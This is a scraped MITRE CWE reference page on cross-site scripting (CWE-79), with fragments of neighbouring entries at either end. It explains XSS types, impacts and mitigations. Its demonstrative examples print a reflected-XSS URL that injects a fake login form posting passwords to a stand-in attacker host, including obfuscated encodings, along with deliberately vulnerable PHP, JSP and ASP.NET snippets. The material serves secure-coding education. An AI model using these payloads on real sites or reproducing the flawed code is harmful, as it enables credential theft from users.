2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-06-23CWE Content TeamMITREInternal
updated Common_Consequences, Other_Notes
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Link Following
2009-05-27Failure to Resolve Links Before File Access (aka 'Link Following')

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID: 79
Abstraction: Base
Status: Usable
Presentation Filter:
+ Description

Description Summary

The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

1. Untrusted data enters a web application, typically from a web request.

2. The web application dynamically generates a web page that contains this untrusted data.

3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.

4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.

5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.

6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

Type 1: Reflected XSS (or Non-Persistent)

The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.

Type 2: Stored XSS (or Persistent)

The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.

Type 0: DOM-Based XSS

In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

+ Alternate Terms
XSS
CSS:

"CSS" was once used as the acronym for this problem, but this could cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Language-independent

Architectural Paradigms

Web-based: (Often)

Technology Classes

Web-Server: (Often)

Platform Notes

XSS flaws are very common in web applications since they require a great deal of developer discipline to avoid them.

+ Common Consequences
ScopeEffect
Access Control
Confidentiality

Technical Impact: Bypass protection mechanism; Read application data

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.

Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.

Confidentiality
Integrity
Availability
Access Control

Technical Impact: Execute unauthorized code or commands; Bypass protection mechanism; Read application data

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server.

XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.

+ Likelihood of Exploit

High to Very High

+ Enabling Factors for Exploitation

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users, commonly on places such as bulletin-board web sites which provide web based mailing list-style functionality.

Stored XSS got its start with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code. As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response.

+ Detection Methods

Automated Static Analysis

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible, especially when multiple components are involved.

Effectiveness: Moderate

Black Box

Use the XSS Cheat Sheet [R.79.6] or automated test-generation tools to help launch a wide variety of attacks against your web application. The Cheat Sheet contains many subtle XSS variations that are specifically targeted against weak XSS defenses.

Effectiveness: Moderate

With Stored XSS, the indirection caused by the data store can make it more difficult to find the problem. The tester must first inject the XSS string into the data store, then find the appropriate application functionality in which the XSS string is sent to other users of the application. These are two distinct steps in which the activation of the XSS can take place minutes, hours, or days after the XSS was originally injected into the data store.

+ Demonstrative Examples

Example 1

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

(Bad Code)
Example Language: PHP 
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(Attack)
 
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

This results in a harmless alert dialogue popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.

More realistically, the attacker can embed a fake login box on the page, tricking the user into sending his password to the attacker:

(Attack)
 
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login" /></form></div>

If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:

(Result)
 
<div class="header"> Welcome,
<div id="stealPassword">Please Login:
<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</div>
</div>

The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):

(Attack)
 
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A

The same attack string could also be obfuscated as:

(Attack)
 
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>

Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.

Example 2

This example also displays a Reflected XSS (Type 1) scenario.

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

(Bad Code)
Example Language: JSP 
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.

(Bad Code)
Example Language: ASP.NET 
...
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
... (HTML follows) ...
<p><asp:label id="EmployeeID" runat="server" /></p>
...

The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3

This example covers a Stored XSS (Type 2) scenario.

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

(Bad Code)
Example Language: JSP 
<%
...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>

Employee Name: <%= name %>

The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(Bad Code)
Example Language: ASP.NET 
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;

This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.

Example 4

The following example consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.

CreateUser.php

(Bad Code)
Example Language: PHP 
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../

The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:

ListUsers.php

(Bad Code)
 
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);
if (!$results) {
exit;
}
//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';

The attacker can set his name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

+ Observed Examples
ReferenceDescription
Chain: protection mechanism failure allows XSS
Chain: only checks "javascript:" tag
Chain: only removes SCRIPT tags, enabling XSS
Reflected XSS using the PATH_INFO in a URL
Reflected XSS not properly handled when generating an error message
Reflected XSS sent through email message.
Stored XSS in a security product.
Stored XSS using a wiki page.
Stored XSS in a guestbook application.
Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

  • HTML body

  • Element attributes (such as src="XYZ")

  • URIs

  • JavaScript sections

  • Cascading Style Sheets and style property

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [R.79.16] for more details on the types of encoding and escaping that are needed.

Phases: Architecture and Design; Implementation

Strategy: Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Effectiveness: Limited

This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Identify and Reduce Attack Surface

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

+ Background Details

Same Origin Policy

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

Domain

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)Named Chain(s) this relationship pertains toChain(s)
ChildOfWeakness ClassWeakness Class74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory442Web Problems
Development Concepts699
ChildOfCategoryCategory712OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004)711
ChildOfCategoryCategory725OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory7512009 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory8012010 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory811OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory8642011 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
ChildOfCategoryCategory931OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)
Weaknesses in OWASP Top Ten (2013) (primary)928
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
ChildOfCategoryCategory1005Input Validation and Representation
Seven Pernicious Kingdoms (primary)700
CanPrecedeWeakness BaseWeakness Base494Download of Code Without Integrity Check
Research Concepts1000
PeerOfCompound Element: CompositeCompound Element: Composite352Cross-Site Request Forgery (CSRF)
Research Concepts1000
ParentOfWeakness VariantWeakness Variant80Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant81Improper Neutralization of Script in an Error Message Web Page
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant83Improper Neutralization of Script in Attributes in a Web Page
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant84Improper Neutralization of Encoded URI Schemes in a Web Page
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant85Doubled Character XSS Manipulations
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
Development Concepts (primary)699
Research Concepts (primary)1000
ParentOfWeakness VariantWeakness Variant87Improper Neutralization of Alternate XSS Syntax
Development Concepts (primary)699
Research Concepts (primary)1000
MemberOfViewView635Weaknesses Used by NVD
Weaknesses Used by NVD (primary)635
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness BaseWeakness Base113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
Research Concepts1000
CanFollowWeakness BaseWeakness Base184Incomplete Blacklist
Research Concepts1000
Incomplete Blacklist to Cross-Site Scripting692
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCross-site scripting (XSS)
7 Pernicious KingdomsCross-site Scripting
CLASPCross-site scripting
OWASP Top Ten 2007A1ExactCross Site Scripting (XSS)
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A4ExactCross-Site Scripting (XSS) Flaws
WASC8Cross-site Scripting
Software Fault PatternsSFP24Tainted input to command
+ References
[R.79.1] [REF-15] Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager and Seth Fogie. "XSS Attacks". Syngress. 2007.
[R.79.2] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.
[R.79.3] [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 3: Web-Client Related Vulnerabilities (XSS)." Page 63. McGraw-Hill. 2010.
[R.79.4] "Cross-site scripting". Wikipedia. 2008-08-26. <http://en.wikipedia.org/wiki/Cross-site_scripting>.
[R.79.5] [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 13, "Web-Specific Input Issues" Page 413. 2nd Edition. Microsoft. 2002.
[R.79.6] [REF-14] RSnake. "XSS (Cross Site Scripting) Cheat Sheet". <http://ha.ckers.org/xss.html>.
[R.79.7] Microsoft. "Mitigating Cross-site Scripting With HTTP-only Cookies". <http://msdn.microsoft.com/en-us/library/ms533046.aspx>.
[R.79.8] Mark Curphey, Microsoft. "Anti-XSS 3.0 Beta and CAT.NET Community Technology Preview now Live!". <http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx>.
[R.79.9] [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[R.79.10] Ivan Ristic. "XSS Defense HOWTO". <http://blog.modsecurity.org/2008/07/do-you-know-how.html>.
[R.79.11] OWASP. "Web Application Firewall". <http://www.owasp.org/index.php/Web_Application_Firewall>.
[R.79.12] Web Application Security Consortium. "Web Application Firewall Evaluation Criteria". <http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html>.
[R.79.13] RSnake. "Firefox Implements httpOnly And is Vulnerable to XMLHTTPRequest". 2007-07-19.
[R.79.14] "XMLHttpRequest allows reading HTTPOnly cookies". Mozilla. <https://bugzilla.mozilla.org/show_bug.cgi?id=380418>.
[R.79.15] "Apache Wicket". <http://wicket.apache.org/>.
[R.79.16] [REF-16] OWASP. "XSS (Cross Site Scripting) Prevention Cheat Sheet". <http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet>.
[R.79.17] [REF-20] OWASP. "DOM based XSS Prevention Cheat Sheet". <http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet>.
[R.79.18] Jason Lam. "Top 25 series - Rank 1 - Cross Site Scripting". SANS Software Security Institute. 2010-02-22. <http://blogs.sans.org/appsecstreetfighter/2010/02/22/top-25-series-rank-1-cross-site-scripting/>.
[R.79.19] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "Cross Site Scripting", Page 1071.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Description, Relationships, Other_Notes, References, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Name
2009-07-27CWE Content TeamMITREInternal
updated Description
2009-10-29CWE Content TeamMITREInternal
updated Observed_Examples, Relationships
2009-12-28CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description, Detection_Factors, Enabling_Factors_for_Exploitation, Observed_Examples
2010-02-16CWE Content TeamMITREInternal
updated Applicable_Platforms, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITREInternal
updated Description, Potential_Mitigations, Related_Attack_Patterns
2010-06-21CWE Content TeamMITREInternal
updated Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples, References
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Detection_Factors, Potential_Mitigations
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-07-17CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Cross-site Scripting (XSS)
2009-01-12Failure to Sanitize Directives in a Web Page (aka 'Cross-site scripting' (XSS))
2009-05-27Failure to Preserve Web Page Structure (aka 'Cross-site Scripting')
2010-06-21Failure to Preserve Web Page Structure ('Cross-site Scripting')

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Weakness ID: 78
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

